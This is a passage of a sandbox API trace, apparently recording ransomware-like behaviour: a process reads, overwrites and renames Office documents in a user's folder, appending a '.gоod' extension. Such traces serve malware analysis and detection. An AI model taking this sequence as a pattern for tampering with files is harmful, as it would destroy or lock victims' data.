lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.402] GetFileType (hFile=0x864) returned 0x1 [0245.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.402] GetFileType (hFile=0x864) returned 0x1 [0245.402] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0245.402] ReadFile (in: hFile=0x864, lpBuffer=0x375b760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x375b760*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0245.402] CloseHandle (hObject=0x864) returned 1 [0245.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.402] GetFileType (hFile=0x864) returned 0x1 [0245.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.403] GetFileType (hFile=0x864) returned 0x1 [0245.403] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x7ea9 [0245.403] WriteFile (in: hFile=0x864, lpBuffer=0x375c9a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x375c9a8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0245.403] CloseHandle (hObject=0x864) returned 1 [0245.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.403] GetFileType (hFile=0x864) returned 0x1 [0245.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.403] GetFileType (hFile=0x864) returned 0x1 [0245.403] ReadFile (in: hFile=0x864, lpBuffer=0x375ec18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x375ec18*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0245.432] CloseHandle (hObject=0x864) returned 1 [0245.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.433] GetFileType (hFile=0x864) returned 0x1 [0245.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.433] GetFileType (hFile=0x864) returned 0x1 [0245.433] WriteFile (in: hFile=0x864, lpBuffer=0x375d9c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x375d9c0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0245.433] CloseHandle (hObject=0x864) returned 1 [0245.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx", lpFilePart=0x0) returned 0x23 [0245.433] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx.gоod", lpFilePart=0x0) returned 0x28 [0245.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0245.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b458ed0, ftCreationTime.dwHighDateTime=0x1d5bbd0, ftLastAccessTime.dwLowDateTime=0xaa6579f0, ftLastAccessTime.dwHighDateTime=0x1d55ac2, ftLastWriteTime.dwLowDateTime=0x8e802200, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7eb9)) returned 1 [0245.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0245.433] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\vqjN.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\vqjn.pptx.gоod")) returned 1 [0245.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0245.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), fInfoLevelId=0x0, lpFileInformation=0x37daef0 | out: lpFileInformation=0x37daef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c63bb0, ftCreationTime.dwHighDateTime=0x1d5c161, ftLastAccessTime.dwLowDateTime=0x59f640b0, ftLastAccessTime.dwHighDateTime=0x1d570e5, ftLastWriteTime.dwLowDateTime=0x59f640b0, ftLastWriteTime.dwHighDateTime=0x1d570e5, nFileSizeHigh=0x0, nFileSizeLow=0x123f1)) returned 1 [0245.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0245.434] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.435] GetFileType (hFile=0x864) returned 0x1 [0245.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.435] GetFileType (hFile=0x864) returned 0x1 [0245.435] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0245.435] ReadFile (in: hFile=0x864, lpBuffer=0x37db2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37db2a8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0245.435] CloseHandle (hObject=0x864) returned 1 [0245.435] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.436] GetFileType (hFile=0x864) returned 0x1 [0245.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.436] GetFileType (hFile=0x864) returned 0x1 [0245.436] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x123f1 [0245.436] WriteFile (in: hFile=0x864, lpBuffer=0x37dc510*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37dc510*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0245.436] CloseHandle (hObject=0x864) returned 1 [0245.436] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.436] GetFileType (hFile=0x864) returned 0x1 [0245.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.436] GetFileType (hFile=0x864) returned 0x1 [0245.436] ReadFile (in: hFile=0x864, lpBuffer=0x37de7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37de7a0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0245.900] CloseHandle (hObject=0x864) returned 1 [0245.900] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.900] GetFileType (hFile=0x864) returned 0x1 [0245.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.901] GetFileType (hFile=0x864) returned 0x1 [0245.901] WriteFile (in: hFile=0x864, lpBuffer=0x36f5620*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x36f5620*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0245.901] CloseHandle (hObject=0x864) returned 1 [0245.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx", lpFilePart=0x0) returned 0x2b [0245.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx.gоod", lpFilePart=0x0) returned 0x30 [0245.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0245.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c63bb0, ftCreationTime.dwHighDateTime=0x1d5c161, ftLastAccessTime.dwLowDateTime=0x59f640b0, ftLastAccessTime.dwHighDateTime=0x1d570e5, ftLastWriteTime.dwLowDateTime=0x8ec7aa74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12401)) returned 1 [0245.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0245.901] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\w-zRY2q5kxHj.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\w-zry2q5kxhj.docx.gоod")) returned 1 [0245.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0245.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0245.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), fInfoLevelId=0x0, lpFileInformation=0x386e470 | out: lpFileInformation=0x386e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bce5b0, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x78658570, ftLastAccessTime.dwHighDateTime=0x1d4c838, ftLastWriteTime.dwLowDateTime=0x78658570, ftLastWriteTime.dwHighDateTime=0x1d4c838, nFileSizeHigh=0x0, nFileSizeLow=0xcdd6)) returned 1 [0245.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0245.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0245.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.905] GetFileType (hFile=0x864) returned 0x1 [0245.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.905] GetFileType (hFile=0x864) returned 0x1 [0245.905] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0245.905] ReadFile (in: hFile=0x864, lpBuffer=0x386e7f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x386e7f8*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0245.905] CloseHandle (hObject=0x864) returned 1 [0245.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0245.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0245.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0245.906] GetFileType (hFile=0x864) returned 0x1 [0245.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0245.906] GetFileType (hFile=0x864) returned 0x1 [0245.906] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xcdd6 [0245.906] WriteFile (in: hFile=0x864, lpBuffer=0x386fa48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x386fa48*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0246.567] CloseHandle (hObject=0x864) returned 1 [0246.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0246.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0246.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.759] GetFileType (hFile=0x768) returned 0x1 [0246.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0246.759] GetFileType (hFile=0x768) returned 0x1 [0246.759] ReadFile (in: hFile=0x768, lpBuffer=0x3900f98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3900f98*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0246.978] CloseHandle (hObject=0x768) returned 1 [0246.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0246.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0246.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.979] GetFileType (hFile=0x768) returned 0x1 [0246.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0246.979] GetFileType (hFile=0x768) returned 0x1 [0246.979] WriteFile (in: hFile=0x768, lpBuffer=0x3786170*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3786170*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0246.979] CloseHandle (hObject=0x768) returned 1 [0246.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx", lpFilePart=0x0) returned 0x24 [0246.980] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx.gоod", lpFilePart=0x0) returned 0x29 [0246.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0246.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3bce5b0, ftCreationTime.dwHighDateTime=0x1d4d59d, ftLastAccessTime.dwLowDateTime=0x78658570, ftLastAccessTime.dwHighDateTime=0x1d4c838, ftLastWriteTime.dwLowDateTime=0x8f6c2a23, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcde6)) returned 1 [0246.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0246.980] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\X5tFE.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\x5tfe.docx.gоod")) returned 1 [0246.981] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0246.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0246.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x37efaf8 | out: lpFileInformation=0x37efaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ce280, ftCreationTime.dwHighDateTime=0x1d54b03, ftLastAccessTime.dwLowDateTime=0x82b74880, ftLastAccessTime.dwHighDateTime=0x1d5b282, ftLastWriteTime.dwLowDateTime=0x82b74880, ftLastWriteTime.dwHighDateTime=0x1d5b282, nFileSizeHigh=0x0, nFileSizeLow=0x71e7)) returned 1 [0246.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0246.982] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0246.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0246.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.982] GetFileType (hFile=0x768) returned 0x1 [0246.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0246.983] GetFileType (hFile=0x768) returned 0x1 [0246.983] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0246.983] ReadFile (in: hFile=0x768, lpBuffer=0x37efeb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37efeb0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0246.983] CloseHandle (hObject=0x768) returned 1 [0246.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx", lpFilePart=0x0) returned 0x2a [0246.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0246.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\xX3nr SEB6E.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xx3nr seb6e.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0246.983] GetFileType (hFile=0x768) returned 0x1 [0246.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0246.983] GetFileType (hFile=0x768) returned 0x1 [0246.983] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x71e7 [0246.983] WriteFile (in: hFile=0x768, lpBuffer=0x37f1118*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37f1118*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, 